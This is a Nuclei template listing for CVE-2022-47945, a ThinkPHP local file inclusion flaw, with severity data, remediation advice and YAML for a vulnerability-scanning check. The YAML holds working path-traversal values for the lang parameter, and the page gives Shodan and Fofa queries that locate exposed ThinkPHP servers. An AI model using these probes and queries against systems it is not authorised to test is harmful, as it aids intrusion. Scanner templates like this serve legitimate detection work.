CVE-2022-47945: Thinkphp Lang - Local File Inclusion
- Template: CVE-2022-47945
- Name: Thinkphp Lang - Local File Inclusion
- Description: ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
- Impact: This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
- Remediation: Apply the latest security patches and updates provided by the Thinkphp framework.
- Severity: critical
- Authors: kagamigawa
- Tags: cve, cve2022, thinkphp, lfi, vkev, vuln
- References: https://tttang.com/archive/1865/, https://nvd.nist.gov/vuln/detail/CVE-2022-47945, https://github.com/top-think/framework/compare/v6.0.13...v6.0.14, https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2022-47945
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-47945.yaml
- Digest: 4a0a00473045022100c9240bdf6eed94dedeb0322d1c6d3d10563d88d55099b23d57dff3008d93280d0220233119ab984928cb9c253cbcc0fc5cf1a2445b529eed86c44646bbf97e0a9691
- Created at: 2022-12-23T12:30:37Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 1432
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-47945.yaml
Classification
- Cwe: CWE-22
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.30237
- Epss percentile: 0.98264
- Cpe: cpe:2.3:a:thinkphp:thinkphp:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: header="think_lang", title="thinkphp"
- Google-query: intitle:"thinkphp"
- Max-request: 2
- Product: thinkphp
- Shodan-query: title:"Thinkphp", http.title:"thinkphp", cpe:"cpe:2.3:a:thinkphp:thinkphp"
- Vendor: thinkphp
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| thinkphp:thinkphp | yes | /v1/products/thinkphp/thinkphp |
Labels
- Name: ThinkPHP Framework - Command Injection
- Impact: Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.
- Remediation: Update to version 6.0.14 or later.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2022-47945
- Not known: requirements
```yaml
id: CVE-2022-47945
info:
name: Thinkphp Lang - Local File Inclusion
author: kagamigawa
severity: critical
description: |
ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
impact: |
This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
remediation: |
Apply the latest security patches and updates provided by the Thinkphp framework.
reference:
- https://tttang.com/archive/1865/
- https://nvd.nist.gov/vuln/detail/CVE-2022-47945
- https://github.com/top-think/framework/compare/v6.0.13...v6.0.14
- https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-47945
cwe-id: CWE-22
epss-score: 0.30237
epss-percentile: 0.98264
cpe: cpe:2.3:a:thinkphp:thinkphp:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: thinkphp
product: thinkphp
shodan-query:
- title:"Thinkphp"
- http.title:"thinkphp"
- cpe:"cpe:2.3:a:thinkphp:thinkphp"
fofa-query:
- header="think_lang"
- title="thinkphp"
google-query: intitle:"thinkphp"
tags: cve,cve2022,thinkphp,lfi,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?lang=../../thinkphp/base"
- "{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Call Stack'
- 'class="trace'
condition: and
- type: status
status:
- 500
digest: 4a0a00473045022100c9240bdf6eed94dedeb0322d1c6d3d10563d88d55099b23d57dff3008d93280d0220233119ab984928cb9c253cbcc0fc5cf1a2445b529eed86c44646bbf97e0a9691:922c64590222798bb761d5b6d8e72950
```